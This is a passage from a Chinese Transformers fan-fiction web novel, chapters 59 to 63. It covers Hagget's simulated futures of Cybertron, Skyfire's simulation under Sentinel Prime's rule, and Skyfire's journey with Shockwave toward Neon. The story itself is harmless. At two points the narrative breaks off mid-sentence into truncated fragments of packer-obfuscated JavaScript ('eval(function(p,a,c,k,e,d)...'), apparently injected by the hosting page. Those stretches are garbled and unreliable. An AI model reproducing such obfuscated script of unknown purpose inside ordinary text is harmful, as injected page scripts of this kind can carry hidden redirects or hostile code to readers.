比如海格特不能趁着对手意识没恢复就哄骗对方接受数据化,不能虚构场景来混淆挑战者的意识,诸如此类。 在这之后,海格特将第一位对手送离了塞伯坦。 但是,就在警车按下按钮的瞬间。 “咦?” 在视野的某个角落,有什么很细微的地方出现了异常。 数据化已经于瞬间恢复了,海格特朝着发生问题的地方看去,那是他最初开启数据化的战场。 那里有轰炸过的痕迹,残破的建筑物、霸天虎、汽车人、尼昂的居民。 以及靠着墙面坐着的,身受重伤的震荡波。 刚刚解除数据化的一瞬,不知道是不是错觉,这个人的身影好像从原地消失了。 “奇怪……” 但现在,对方的确在这里。 火种的位置也好,身上的伤,以及机体上溅到的自己的血也是,都毫无异常。 感觉背后有种微妙的凉意。 但是,应该只是错觉。 在稍微看了一下之后,海格特就移开了视线。 可能是进行数据模拟后对精神产生了些许影响,他现在也有点没从刚才的状态里出来,更何况,这也不是什么重要的事。 而且说实话,他现在不是很愿意看向震荡波这个人。 回到观测室后,海格特继续思考着对局的事,而就在这时—— “呃!?” 身体里的某处,忽然传来了异常的疼痛。 「要了解自己是很困难的,所以需要借助他人的力量。」 又是那个声音。 那个听不出是谁的声音。 在全星球都被数据化的当下,居然还在继续,这到底是怎么做到的? 「你或许以为自己是在模仿和学习,但实际上,你们的世界本来就没有边界。」 最后,又是那个声音。 「检测到协议四启动。」 在一阵几乎夺走呼吸的疼痛中,海格特忍不住蜷缩起来。 能感觉到,自己的机体内部多了个东西。 在这理应完全无法变化的世界,发生了异常。 ——「变形齿轮已加载。」 60.第六十章 万物之流号,船舱。 大黄蜂独自走过长长的通道,低着头,若有所思。 这里安静得有些过头,一点也看不出之前热闹的样子。 实际上,自从警车回来后一直是这样。 虽然开路先锋和奥利安都在尽力主张不能将海格特模拟的未来当真,但哪怕知道逻辑上如此,情感上还是难以接受。 有人对未来感到绝望,有人对身边人产生了恐惧或愤怒,还有更多人,是无法接受未来四百万年间自己身上发生的改变,以及做出的事。 最后,通天晓不得不委托小诸葛,在收缴武器的同时,给几个情绪不稳定的人安装了“反伤害行为滤网”,来保证船上不出现内乱,或者自残行为。 于是现在,几乎所有人(除了旋刃,他从一开始就没把模拟的世界当真,他好像不把任何事当真)都呆在自己的房间或者工作地点里闭门不出。 大黄蜂还记得荣格当时叹了口气。 “从结果来看,海格特不仅仅是赢了一场对决,”心理医生摘下护目镜,轻轻擦拭着镜片,神色有些惆怅,“他成功让万物之流号的人心散了——而这甚至不是他故意为之。” 没关系。大黄蜂心想。这种状态总会结束。 此时他来到甲板,在宇宙冰冷的光线中,看到了那个正从茫茫宇宙中赶回来的身影。 是红蜘蛛的幽灵,他变回人形站好,在看见甲板上独自一人的大黄蜂时,忍不住哼了一声。 “你们就是这样欢迎带来情报的救世主的?” 对此,大黄只能苦恼地笑笑:“现在让大家呆在一起可能有点困难。” “哈,不出所料!” 听闻此言,红蜘蛛却显得心情很好,甚至情不自禁地摊开双臂。 “之前那种不计前嫌的合作氛围才不正常,奇怪到让我看了就想吐的程度。像现在这样四分五裂才对,我可从来没指望你们一群乌合之众能搞出什么名堂。” 大黄蜂没接他的话,只能生硬地转移话题,问道:“有没有塞伯坦上的消息?” “你以为我是谁?”红蜘蛛说,“我去看了至高之门的内部构造,里头全是干扰数据流,具体的什么也看不清,另外,领导模块确实在朝天塔的地下空间,在次级能量层。” “这是个好消息,谢谢你。” 大黄蜂刚积极地想了一瞬,突然又听见红蜘蛛的冷嘲热讽。 “好消息?我看未必,退一万步说,就算奥利安·派克斯真的获得了领导模块,又能怎么样?” “他能让大家重新团结起来,我相信他。” “不可能,”红蜘蛛挑起眉,“能让人团结起来的只有愤怒和仇恨,但你们又不愿意去恨这件事的罪魁祸首,那我也没办法。” 听到这里,大黄蜂像是想起什么。 “对了,海格特这回有注意到你去了塞伯坦吗?” “有啊,但他拿我没辙。” ——话虽如此,红蜘蛛却暗自咬了咬牙。 虽然海格特没办法直接对幽灵做什么,但那家伙在看到他回来后,却特别从容地笑着点了点头,甚至做了个“请”的手势,别的什么也没管。 俨然一副没把他的行动当回事的态度,这让红蜘蛛很是恼火。 “总感觉有哪里不对……” 大黄蜂感到一丝和之前相似的困惑,但现在不是思考这些的时候,时间很宝贵,他只能暂且将疑惑甩出脑海,然后变形为载具模式。 跑到指挥室后,就将情报汇报给仍在工作的奥利安等人。 “啊,我想到了,”听完大黄蜂的汇报后,热破突然一拍桌子站起来,“干脆我们所有人一起上吧!” “请解释你的建议。”通天晓头也没抬。 “一般来说不都是这样吗?最后关头把所有认识的人召集在一起,大家不知道怎么的突然就同仇敌忾,莫名其妙把敌人给打倒了,”火焰涂装的塞伯坦人说到这,又沮丧地坐回座位上,“好吧,我知道这不可能,但看了警车展现出的未来后,现在谁也没动力去进行对局吧?” 和那些英雄电影不一样,现实里根本不存在正确答案。 看不到获胜的希望。 任何行动似乎都毫无用处,除了带来更多的绝望之外,什么也没有。 但是—— “有的,”奥利安说,“就在五塞星分前,有人提交了参数,申请前往塞伯坦。” “啊?谁?” “是天火。” 听到这个名字,众人都有些沉默,直到警车突然幽幽开了口: “我有九成把握,他的参数是出于失去科学判断的个人情感而定,违背常识和理论,甚至不是为了获胜。” 对此,没有人反驳。 所有人都能看出天火对海格特的偏心和过多的包容,那人大概直到现在都不觉得他做错了什么。 哪怕是去进行对决,他大概也不会真的将海格特视为敌人,更别提对方造成的数据化了。 带着这种优柔寡断,是不可能胜利的。 “但是我倒觉得,”大黄蜂犹豫道,“这种时候,一些出乎意料的行为反而会打破局面也说不定?” 毕竟对海格特来说,不将自己视为敌人,不含对抗性的参数,估计也没有想过太多。 “是的。” 奥利安点了下头。 “所以我已经批准了。” —— ———— 实验仪器的声音,夹杂着风扇转动的呜呜声。 虽然不算很响,但却相当有存在感。 冷色的灯光下,海格特打量着四周的环境,这里是一间不算宽敞的实验室,虽然他是第一次见,但一些布局上的细节却让人感到熟悉。 “你最初的宇宙和房间,原来是这样的。”他转头看向站在那里的大个子科学家,“是以前工作的实验室吗?我看到了一些跟你在奥提雷克斯大学的实验室相似的地方。” “是的,在进入大学之前,这个地方一直是我的个人实验室。” 天火神色平静,就像是在进行闲谈。 也的确是在闲谈而已。 虽然海格特的机体中出现了变形齿轮,但在静止的世界,它没有时间进一步变化,所以从机体外观来看也并未发生什么改变。 就这样,他打算当成什么也没发生。 “是个好地方。” 海格特感叹道,又看见灯光照射下,某台正在运作中的制造台。 于是走过去看了看。 在那里,有一台小型悬浮机器人正被建造到一半,它的设计图就放在旁边,上面写着名字。 “D.0.C……”机器将其念了出来,不禁露出微笑,“我得感谢这个小家伙,它让你很早就对非塞伯坦的知性机器人抱有情感和包容心。 哪怕是刚从冰原苏醒的那些年,你也一直将我当成完全的人看待,让我度过了很美好的一段日子。” 闻言,天火却露出稍显复杂的表情,沉默着没有回答。 “总之,先坐下吧。”海格特没有多问。 这里呈现的是天火的实验室,但两人心里都明白,这地方的真正主人是海格特。 他们在实验室一隅的桌椅旁坐下,桌子上摆放着至高之门的模型。 “那么,欢迎来到观测室,”海格特开口道,“具体情况你应该已经从警车那里听说了,还请告诉我你准备了怎样的参数。” 天火闭上光学镜。 再次睁开时,他的神态一扫之前的感性,又变回了那个深思熟虑的科学家。 “在说出参数之前,我需要确认一件事。” “请说。” “既然至高之门拥有演算四百万年程度的高级智能,那我应该也可以选择过去的某个时间点作为模拟的开始?这对你来说只不过是做个简单的倒推。” 真了不起。海格特忍不住想。 “我还以为你们不会发现这一点。”他有些意外地说着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“既然不成立,那我换个说法,”他最后还是先松了口,“哪怕你遇到了震荡波,但没有完全认同他的理念,所以没有产生更多交集——这样的可能性是否存在?” “我没想到你排斥他到这种地步……” “这么说也没错。” 天火的话可谓斩钉截铁。 于是海格特只能开始数据演算。 “……有。” 万千世界中,有唯一一条会呈现出天火所说的那副光景,并且可能性大于1%的世界。 其形状,是一颗……陨石? 只是模糊测算了实现起来的可能性是否大于1%,所以具体的情况海格特也还不知道,他并不清楚那个世界到底会发生什么。 “你确定吗?” 他用前所未有的严肃态度,郑重地询问天火。 “是的。” “你可能会受伤。” “没关系。”科学家神色坚定,“无论发生什么我都会承担起责任,我直觉让你模拟这种参数是有意义的,很不幸的是,我的直觉——或者说那些暂时无法得出逻辑推论的超前思考——也只有在预测负面情况的时候会很准。” 原来如此。 海格特心想。 尽管看上去完全是出于个人恩怨,但眼前这个科学家,考虑的确实是通往未来的道路。 于是,在输入了天火提出的主要参数以及用来配合它的细小参数之后,和之前一样,世界开始震动。 实验室逐渐化作碎片,而天火也听见了至高之门启动时的声音。 【第一数据推演模型——塞伯坦。 正在创建目标参数: …… …… 数据导入成功,开始覆盖自我信息。 连接成功 传送完成。 坐标:Revision 2。】 61.第六十一章 有一颗陨石落下了。 没人知道是怎么回事,在发现的时候,它已经避开所有监测装置,躲过空间站人员的视线,甚至逃脱了月卫二引力的捕捉。 就这么精准无误地坠落在塞伯坦上的某处。 尽管幸运地没有造成人员死亡,但在冲天的火光中—— “有什么大事就要发生”的战栗感,还是席卷了每一个目击者的火种。 这种匪夷所思的失误在塞伯坦上是不可原谅的,但报道短暂地谴责了相关人员的失误后,新闻重点很快就被转移到了对元老院议员滥用职权,随意调遣安保部队这件事上。 紧接着,像是与此呼应一般,御天敌站出来成为了新领袖。 他向大众展示出被流放的前代领袖逆天劫不曾拥有的领导模块,并且将霸天虎运动镇压得节节败退,从而获得了弹劾元老院的权利。 同时,汽车人政府开始比以往更加坚决地施行功能主义政策。 从新闻业开始,逐步关停了几乎所有民间的发声通道。 行业整顿,社会重组。 一切陷入高压之中。 但不可思议的是,战争与暴政却没有几乎没有影响民生,甚至与人们所以为的正相反。 犯罪率持续走低,能源储备充足,资源总是能整合得恰到好处。 在几个汽车人掌权的主要城市里,街景一片安宁。 甚至比霸天虎运动诞生之前还要平静。 —— “截止目前,霸天虎残余势力已从云雾山城和自在天城的交界处败退……” “嘀、嘀。” 科诺姆新星城,研究所大楼内。 正在浏览新闻的天火忽然收到一条内线联络,在看对方的名字后,他停下手头所有事,立刻接通。 “有海格特的消息吗?” 虽然已经在尽可能地保持冷静,但天火话语中的急切还是令通讯对面的人微微叹了口气。 “我很遗憾。” 救护车干脆利落地回答。 医生一向不喜欢给人不切实际的希望,哪怕是对自己曾经短暂指导过,后来又在奥提雷克斯共事许久的科学家也一样。 海格特自从几个塞星月前开始就失踪了。 下落不明,仿佛人间蒸发。 天火用了所有方式去找,然而有关海格特的最后消息,就是他疑似参与了数月前针对安保部队总部的那次袭击。 如果他被抓捕,肯定会在监狱和警务系统里留下痕迹,再不济,逮捕和关押的相关记录也是会有的。 毕竟海格特不会死。 没有火种和弱点,无论破坏多少次都可以自行修复,逃脱了死亡的限制,这样的机器,也就意味着无法被报废处理。 不可能无声无息地消失。 但天火联系了认识的所有人,甚至联络到了在安保部队就职高位的警车,后者的回答也是“不知道”。 “我不会透露安保部队的情报,但这里的确没有海格特的消息。” “身份不明人士最近也全部做过登记,这一块是我负责的,所以很清楚,他不在任何一所监狱里。” 听上去他也进行过私下调查,但是一无所获。 回到现在,在短暂的沉默后,自觉失言的天火表示了歉意:“抱歉,你现在找我一定是有急事,请说。” “别太在意,具体情况我现在发给你一份邮件,等你有空看一下。”说到这,救护车的语气也放松些许,“委员会那边怎么样了?” “暂时不用担心,目前的项目涉及供能系统研发,他们离不开我,所以也无法强行让我离开。” 虽然御天敌同样在实施功能主义政策,但和仅仅是为听从元老院要求的逆天劫不同,新领袖本质上是个实用主义者。 对天火这种极度突出的人才,他会做出些许让步——当然,前提是目前的科研项目最后会对汽车人政府有益,同时,天火也得定期完成国防相关的任务调遣。 身兼数职,精神和机体迟早会垮掉,但现在还有坚持下去的理由。 天火按下那些情绪,仔细查看起救护车发来的邮件内容,里面看上去是一些音频,以及对其做出的初步分析表。 “这是,数据流?”天火微皱起眉,“很奇怪的形态,你是从哪发现的?” “在我一位患者的脑模块里。” “……” “最近有好几个患者都听到了这个异常数据流,我们也请了脑科学院的专家,但根本查不出问题,所以这个数据大概是外部影响。” “外部因素,是指霸天虎的技术吗?” “不,和他们的手段不同,这个数据流不会给人带来任何不适。”救护车说,“但是这些听到声音的患者都有一个共通之处——这些人,快则数日,慢则数周,就会与我失去联系。” “你是说失踪。” “嗯,军警来调查过,虽然他们没有直说,但我想大概是这个意思。” 天火有一瞬间联想到了同样下落不明的海格特。 这其中或许有某种关联,救护车应该也是意识到这一点才会联络他。 于是天火答应下来。 “我会尽快调查。” 随后救护车留下一句保重,两人的通讯就结束了。 实验室再次陷入寂静,天火没有再点开新闻,他打算直接开始调查这个异常数据流,但在那之前,桌上功能主义委员会发来的职务变动文书再次吸引了视线。 “……啧。” 有些恼火地将其扫到一边,天火开始了数据分析。 然而越查就越觉得奇怪。 接下来的日子里他用了各种方法,甚至私自使用了新星城的科研用超级计算器协助调查,但无论如何都不起作用。 这个异常数据的来源频率不在任何已知手段内,根本无法解析,别说内容了,连方式都还一头雾水。 异样到有些不真实。 如果不解析出来,总觉得会发生什么不好的事。 被隐约的焦躁驱使着,天火犹豫着联系了一个人。 其实在点下特殊通讯线路的瞬间就有些后悔,但不给他任何反悔的余地,对面立刻接通了通讯。 “频道通讯:已进行加密,请注意附近音频监听设备。询问:联络理由。” 经过电子处理过的,某个霸天虎的声音。 “……声波。”天火沉闷地开口,“我需要帮助,这里有一条异常数据流。” 在不久前,霸天虎将被迫转职的天火视为可争取对象,所以声波曾经联系过他,向他展示了政府恶行的冰山一角。 当时科学家没有立刻答应,于是声波留下了通讯方式,就没再多说。 现在,天火将那串异常数据发给对方,几乎是立刻就收到了回复。 “回复:已识别。” “这个速度,你真的看了吗?” “不需要。”声波回答,“数据流:已熟知。最近经常听到,它所代表的含义——‘快跑’。” 天火愣了几秒。 “……你是怎么知道的?”找回自己的声音 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听到意料之外的答案,高大的科研人员愣了一下。 那个地方一直被重兵把守,说是为了排除辐射带来的次生灾害,但因为大量物资被运送过去,所以也有消息称,领袖在里面找到了什么东西,已经将那个地方改造成军事基地。 总之,想去那里调查简直是自杀行为。 “因此,额外建议:霸天虎派出一人协助你调查。”声波说,“战争局面:继续扭转,在推翻御天敌统治这一点上,彼此目标一致。” “我知道了。” 几乎没有多考虑,天火就答应了他们的请求。 如果向外求助,千斤顶或感知器多半也会答应与他合作,但他不想将这些老朋友拖下水。 这么说有些自私,但既然是对方主动提出的,说明那人应该也和自己一样,做好相应的觉悟了。 对天火自己来说,代价无非是被处刑死亡或者关进监狱,如果能逃掉,作为少数能以自身机体实现宇宙飞行的塞伯坦人,他会去宇宙中寻找别的出路,如果逃不掉,就跟御天敌的政府拼一把。 眼下塞伯坦什么动静也没有,但它的内在正在以惊人的速度死去。 天火不想眼睁睁看着,什么也不做。 而且,既然是自己把海格特从冰原中发掘出来,那自己就应该负责到底。 无论如何,也要找到他。 于是,在几个塞星日后,科诺姆新星城的郊区。 冰冷的夜空里,甩开追踪自己的军警后,盘旋于半空的天火看见了那个前来与自己碰头的霸天虎。 从机体来看完全陌生,是个紫色涂装的大型机,从头部来看应该遭受过俱五刑,但手已经被替换回来一只,应该是加入霸天虎后又经历过改造,虽然看上去并非战斗人士,但能量度数很高。 那只黄色的独眼中看不出任何情绪痕迹,正扬起头默默看着他。 被那只眼看着的时候,总觉得有些心里发毛。 “我是之前联络的天火。”科研人员降落在对方面前,“出发之前,我需要确认一下你的身份信息。” “符合逻辑。” 霸天虎用一种听不出的语调开口,因此,哪怕觉得莫名有些熟悉,天火还是没能立刻反应过来。 “我的名字,” 直到对方缓缓开口。 ——“震荡波。” 62.第六十二章 红色。 很久以前听千斤顶和天火在交流的时候说起过,有很多外星碳基生命的血液是这个颜色。 虽然塞伯坦人不存在血液,平时偶尔会被叫作血的东西只不过是流动在能量管线里的淡粉色能量液,但红色在社会文化中同样代表着一些东西。 比如因其抢眼夺目的特性,所以被用作警示灯、禁止入内的警戒线、还有那些高性能武器的按钮的外壳涂料。 以及,机体的涂装。 尼昂,朝天塔旧址,地下能量层。 深邃的地下空间内,海格特正悬浮于一台治疗舱型装置内,脑后长长的管线延伸出去,一路连接到旁边的巨大眼型装置上。 他眼神空洞地注视着眼前的塞伯坦人,准确来说,是那鲜红色的战术面罩。 在配上大面积的金色涂装后,红色就从警戒和热情的寓意,转为承载着高贵、统治、以及“强大”的含义。 现在,那个金红色的王就站在自己面前。 获得了领导模块的御天敌,机体也得到了大幅加强,如今仅仅是站着,其压迫感就令人难以承受,放在过去自己肯定会觉得喘不上气,但是现在—— “又想知道情报吗?距离上次才过去不到半个塞星时,你的不安全感是不是太重了。” 已经能用说风凉话的语气开口了。 御天敌看向他,有一瞬间对上了那双极浅的蓝色光学镜。 ——然后努力压下将其破坏的欲望,移开了视线。 这几个月来都是这样。 自从将这台机器抓捕到自己这边后,御天敌没有哪天不是不被对方冷嘲热讽。 破坏无效,想阻碍音频发声也无效,海格特机体的再生能力过于强大,除了将其控制在这里之外,几乎什么也做不到。 但这也就够了。 多亏了那颗陨石的功劳,让他得到了尼昂地下藏着的领导模块,又是因为领导模块,他能够看见那座巨型装置。 再看见那摄人心魄的蓝色光芒后,御天敌就想起了两百万年前看到的光景,于是,趁着逮捕震荡波的机会,将海格特一并秘密逮捕。 “给我自在天城附近的火种点位信息。” 他下达了指令。 “是不是平时都没人和你说话,只能在地下对着机器发号施令,”海格特闭了闭眼,“一定是因为你不懂要在工作中保持礼貌的道理。” “把信息发过来。” 领袖将海格特的话当成噪音无视,仅仅是下达了指令。 “……” 机器沉默不语,脑后的部位传来一阵刺痛,那些连接到至高之门的管线正在发送信息,然后将立体点位图通过信息传送给被关在装置里的海格特,又传送到御天敌那里。 「警告:协议三异常启动。」 「警告:检测到异常信号介入。」 空间中重复着这样的声音,来源不明。 瞧啊。 领袖心想。 一如我所想,一如我所愿。 眼前这台机器,哪怕再怎么不情愿,还是做着一台纯粹机器应该做的事。 他本身用以控制泰坦的低频信号能力在获得领导模块之后得到了大幅度加强,如今甚至能控制着面前的至高之门强行运转。 于是,塞伯坦上的一切都被他掌握。 再也没有御天敌看不见的东西,再也没有他不知道的事情,再加上越来越多被改造成秘密民兵的人,将塞伯坦变成他自己的帝国指日可待。 “但你充其量,只是个获得了强大武器的幼生体而已。” 似乎是看出了他的想法,在生成数据信号的时候,海格特如是说道。 还是一副平静的表情,就像被关在这里的根本不是自己一样。 御天敌还是没理这些话,他正在寻找一个霸天虎军火商,仔细查看内线里那些标注了火种位置的立体地图。这些东西的战术价值高得吓人,无条件地看到火种,等于霸天虎的一切行动都对汽车人单向透明。 这种能力早该用上,如果不是那个该死的震荡波从中作梗,再加上逆天劫隐瞒了他根本没有领导模块的事,自己早就趁着霸天虎还未发展起来就将其摁死在萌芽状态。 “我知道你在想什么,你真的以为自己能为塞伯坦展现出未来。” 像是完全看出他心中所想,机器的声音带着笑意。 “如果只是想要统治倒也无妨,但你所做的仅仅是破坏而已,说实话我实际上是不想恨你的,可惜没办法。” 说得好像谁在乎一样。 “嗯,果然被怎么说都无所谓,难不成你的耐心其实很好?” 依旧没有回答。 “也是。”海格特低下头,“作为新领袖,哪怕再怎么想随心所欲,再怎么不耐烦,你也得听参议院和民众的要求做着没完没了的场面工夫。” “不过逆天劫要比你更甚,不仅要看参议院的脸色过日子,瞒着领导模块是假的这件事,最后还差点被你陷害致死,流放出去不知所踪……不过也是他咎由自取。” “而你最后也会咎由自取,亲切的御天敌领袖大人。” 话音刚落。 “轰——!” 被一炮轰去了大半身躯,然而如今和本体相连的人形机器几乎只用了半塞星分就再生完毕。 虽然攻击的是自己。 但是在看到那双光学镜地时候,御天敌却莫名觉得自己已经输了一棋。 “作为一位领袖,你真的需要提升心理素质了。”恢复如初的海格特幽幽开口,“真不敢想象,失去我之后你会被霸天虎打成什么样。” “话太多了,”御天敌没再看他,只是取走了报告书,“发出声音也好,自主意识也好,你的制造者尽做些多余的功能。” “彼此彼此吧。”看着御天敌的背影,机器微笑着开口,“逆天劫好歹是逐步迷失了自我,在清醒中逐渐发了狂,你不一样,你是在发狂中发狂,呵……除了脑袋以外,不全都是多余的部分吗?” “该死。” 暗暗骂了一声,御天敌摔门而去。 如此一来…… 眼看着金红色的背影消失在地下通道深处,海格特松了口气。 今天也算是瞒过去了。 还好御天敌强烈的个人想法让他一向直来直往,所以也就不会注意到细节。 将视线放远,海格特忧虑地看着某个方向。 天火的火种,正在朝着尼昂前进。 并且越来越近。 心里升起难以控制的焦虑。 要是离得再近一些,自己就瞒不住了。 —— ———— “你是说,御天敌获得了一台能无条件定位所有塞伯坦人的机器?” 前往尼昂的路上,天火有些不可思议地问着。 因为所有的洲际高速都被军警控制,他们只能穿过无人的荒野,天火会飞,而震荡波则是开着有隐匿功能的小型飞行器。 “这种事真的可能吗?哪怕真有这样的机器,他是怎么解决能量问题……” “具体制造者不明。”震荡波回答,“我此行就是为了那台机器,只要将它破坏,再回收领导模块,目标就完成了。” “那台机器是根据什么定位的?” “是姓名。” 震荡波的声音毫无波澜。 “只要是在系统里登记过身份的个体,就可以被追查到,御天敌大概率在全塞伯坦范围散步了感知粒子,平时无害,但能将信息统合到那台机器上,所以这座星球对他来说没有秘密。” “那我们呢?” “我的背包正持续性释放反粒子干扰素,所以请不要离我太远。” 这么说倒也合理,可以解释御天敌那本来面对霸天虎并不突出,最近却突然变得宛若预知一般,神乎其神的战术能力。 但是,总觉得有什么地方不太对。 天火看了一眼旁边的飞行器。 他还是无法相信这个霸天虎,不,哪怕是曾经那个热情洋溢的议员也一样,对震荡波这个个体,天火一直抱有高度警惕,这不仅仅是因为海格特,更是因为一些更深的东西。 震荡波这个人,很不正常。 遭受俱五刑和皮影戏后,只不过是让那些本来藏得很深的异常部分浮上表面了而已。 但是…… “海格特在奥提雷克斯进行过身份登记,按照你的说法,我们过去之后可以利用那台机器找到他,所以在那之前,你必须保证不去破坏机器。” “我知道,也会保证。” “如果这些是谎言,到时候你会直接暴露,会发生什么自不必我多说。” “是的,”震荡波说,“所以在你找到海格特之前,我不会做任何事,毕竟我不认为在单挑的情况下我打得过你。如果还是不放心,你可以给我安装威慑芯片。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之前天火也接近过战争区域,但如此近距离地接触还是头一次。 对一个厌恶武器的科学家来说,眼前的光景实在是过于难以忍受。 但即便如此,他还是没有移开视线。 必须看着这一切。 尽管现在还什么也改变不了,但是有朝一日…… 这样想着,天火忽然看见了什么,向下猛地俯冲。 “啊!” 那是个没有装备任何武器的平民小型机,因为被建筑掩埋所以没来得及逃走,被卷入战火后,眼看着就要被飞溅的热武器击碎。 在震荡波“你这么做会浪费很多时间”的质疑声中,天火还是赶在千钧一发之际,将其救起来带到半空。 “没事吧!?” “你……” 差点被战火波及的平民面色惊魂未定,但还没来得及开口,忽然面甲上的表情就变了。 “快、跑。” 小型机忽然一字一顿地说着。 “什么?” 天火感到诧异,但下一刻,他的机翼就被那人死死抓住。 “放手!这样很危险!” “快跑,别去尼昂,离开塞伯坦!马上!” 在听到这话的时候,天火注意到—— 这人的光学镜,从原本的淡黄色,变成了很浅很浅的蓝。 在一片无法解明的困惑中,他忽然感觉身上一轻。 “我会把他带到远一点的非交战区,你稍等。” 这样说着,不等天火回应,震荡波就用飞船上的捕捉网将那人带走,拐了个弯飞向战场另一边。 在被带走前,天火似乎隐约听见了一个声音。 这个理应与自己素未谋面的塞伯坦人,说了一声“天火”。 —— ———— 哪怕自己这边临时介入战场,这里安保部队的关注度依旧几乎为0。 效果很不错。 震荡波这样想着。 看来自己的判断是对的。 只要和天火在一块,那台机器就不会暴露他们两个人火种的坐标,所以身为霸天虎的自己也就不会被供出来。 是因为强烈的情感,所以反抗了使用者的意图吗? 不,如果真能做到那种唯心的地步,就毫无逻辑可言。 所以大概只是,御天敌使用他——使用海格特的方式太拙劣了而已。 63.第六十三章 万物之流号,研究室。 小诸葛从门口路过的时候,发现感知器注视着窗外,看样子是正在观测模拟世界里的情况。 “你该不会没充电,一直在那里呆着?”他走进室内,“那个世界看上去已经一团遭,我们输掉的概率几乎到了100%,绝望以上的绝望,没救了。” 感知器缓缓摇头:“虽然没有经过商讨,但我认为天火和警车一样,他的模拟同样不以胜利为目的。” “你是说他觉得眼下的情况很有参考价值,理性判断后做出了这个选择?” “是的。” “我觉得可能性不大。” 面对感知器,小诸葛说话的语气明显客气了好几个档次。 “天火可是在没有任何政治势力帮助的情况下,独自抵挡了议会对奥提雷克斯的改组将近百年的人,虽然看上去完全不关心政治,但不代表他不懂,他肯定预料到自己的参数会导致功能主义控制塞伯坦。预料到却还选择,怎么想也只会是感情用事——而结果也如他所愿,那个议员遭了殃。” 他语气极快地说完。 说实话,这个世界让小诸葛很烦躁。 因为他注意到,夸克和功能主义政府的关系几乎好到超乎寻常的地步,以至于本就不敢接近对方的自己更是连远远看一眼都看不到。 那个模拟世界里的他自己,好像已经很久很久没有见到夸克了,更别说说上话。 就像现实里的他一样。 这么一想,感觉就怪窝囊的,所以一气之下他干脆放弃了观测。 “正如你所说,天火知道会发生现在的事。”感知器回答了他,“但是和警车那次的情报收集不同,天火进行对决的目的,是为了将自身作为研究工具,对那台机器模拟出来的未来现象进行探究。” “哦!”小诸葛竖起一根食指,笑了起来,“是说质性研究?那就说得通了,不愧是你。” “……你们俩能不能说人话?” 一个人声音突然从门口传来。 两个科学家回头看去,发现是不知为何正在独自行动的旋刃,此刻从门旁的柜子后伸出脑袋,看上去鬼鬼祟祟。 这是偷听吗? 不,是光明正大地听吧。 交换了一下眼神后,两人耸了下肩,配合着赶来追犯人的通天晓,将旋刃控制起来。 “把他送到主控室,我得先给他上个更难破坏的抑制钳。” 旋刃闻言,很自豪地空抓了几下钳子:“没用,我的巧手不怕一切禁锢。” 然后他就被左右各一人控制着手部,以一个十字架的姿态被绑了过去。 “你们作弊啊——!” 没人理他。 虽然到了主控制室,但科学家们刚才的话题还在继续,听了一路的通天晓也有了头绪。 “你们的意思是,天火正在对御天敌统治下的塞伯坦社会……对功能主义进行研究?” “是的,尤其是模拟世界这种完全沉浸的状态,有助于他全方位获得资料。” “有这个必要吗?”一旁的热破忍不住问。 “当然,”回答他的是看上去又回到往常状态的警车,“我们的目的是找出一条正确的未来,也就需要观摩尽可能多的政治体制的利弊,从所有方向性中找到最好的那个。” “所以你觉得这玩意还有优点?”被戴上抑制钳的旋刃突然开口,“难怪,毕竟你可是那种为了目的什么都能做到的宇宙级别阴谋家,常人根本无法交流。” 放到过去,警车早就开始长篇大论起他的理论,但此刻却罕见地没有为自己辩解。 战术家只是露出了稍显复杂的神色,陷入沉默。 “功能主义的确是有优点的。” 出人意料的,开口的是感知器。 他多半是从纯粹的概念角度讲述了这个观点,但被功能主义迫害惨烈的旋刃却彻底生气起来。 “真好,现在所有人都开始热爱这玩意了是吗?”他高声说着,“那还做什么模拟,赶紧去各司其职啊,对议会高呼万岁得了你们这帮活该被压迫的二进制脑袋!” “我所说的功能主义,和议会以及御天敌都无关,甚至和我们的变形模式无关。” “开玩笑,变形形态决定一切——比跟我说你忘了他们的口号。” 或许是被禁锢住的缘故,没法上前打人,旋刃不得不进行语言交流。 “那是委员会做出的曲解,是政治领域的问题,事实上功能主义的原本概念,是预设所有社会单位和文化都会对社会造成某种‘作用’,也就是说,它认为社会中的所有单位都在互相影响,将社会视为一个整体。” 说到这里,感知器看向旋刃。 “如果让你进行世界模拟,你会写出什么参数?” “当然是每个人都能随心所欲地做自己想做的工作,管他什么政府和社会。” 他看向自己被替代成钳子的手。 那里曾经是一双钟表匠的手。 “是啊。” 感知器点头。 “可是在镇天威领袖统一塞伯坦之前,十三部落的人在发生战争的时候,多半也是这么想的。” “……你原本是这么烦人的家伙吗?” “能让一盘散沙,各自为政的塞伯坦,在战后瞬间变成无比团结的完整社会,从原始走向文明。这就是功能主义作为一种社会理念,在腐坏变质,弊端暴露前最初的作用。” 黑红色涂装的科学家只是继续说了下去。 “现在模拟世界中御天敌统治下的,是比起‘以变形形态分配工作’更加严重的功能主义社会,身处其中的人肯定也承受着压力。 我只是不希望忽略这一点,否定天火这项研究的价值。” 是出于科学家的惺惺相惜?还是说感同身受? 与其是为功能主义辩解,不如说他只是在为天火说话,结果还是做出了超出理性的事。 意识到这一点的旋刃也只是嘁了一声,觉得反驳也没意思,所以不吱声了。 “但是如你所想,在出身无法经过自己选择的塞伯坦,诸如阶级问题等事情只会被无限制地美化,结果就是漫长的腐败和压迫……所以从结果来看,我不认为它是适合塞伯坦人的制度。” 感知器话音落下时,小诸葛十分激动地鼓起掌,还吹了个口哨。 “以上都是理论层面的事,请不要在意,”科学家补充道,“我现在要回实验室了。” 心情复杂。 无法解明。 自己本来只想远离战争,更远离政治,但现在看来都不可能成立。 不能将塞伯坦人的未来当成赌注,轻易相信任何一种思想。 在独自回到研究室的路上,感知器又看向窗外那纯白的星球。 毕竟,在纯粹的数据演算和实验中—— 是找不到自己的存在证明的。 —— ———— 到达尼昂前,正是日出时分。 霞光将云层点燃,在黄矮星的明媚光亮中,有一个什么东西正在一同升起。 那是一顶无比巨大,近乎连通天地的金红色王冠。 “什么……?” 天火几乎无法理解自己看到的事物。 他停止飞行,遥看着那巨大的王冠,不管把视线转移到哪里,总是能看到它的一隅。 因为那顶皇冠已经将整个尼昂笼罩其中,边缘还在不断扩散。 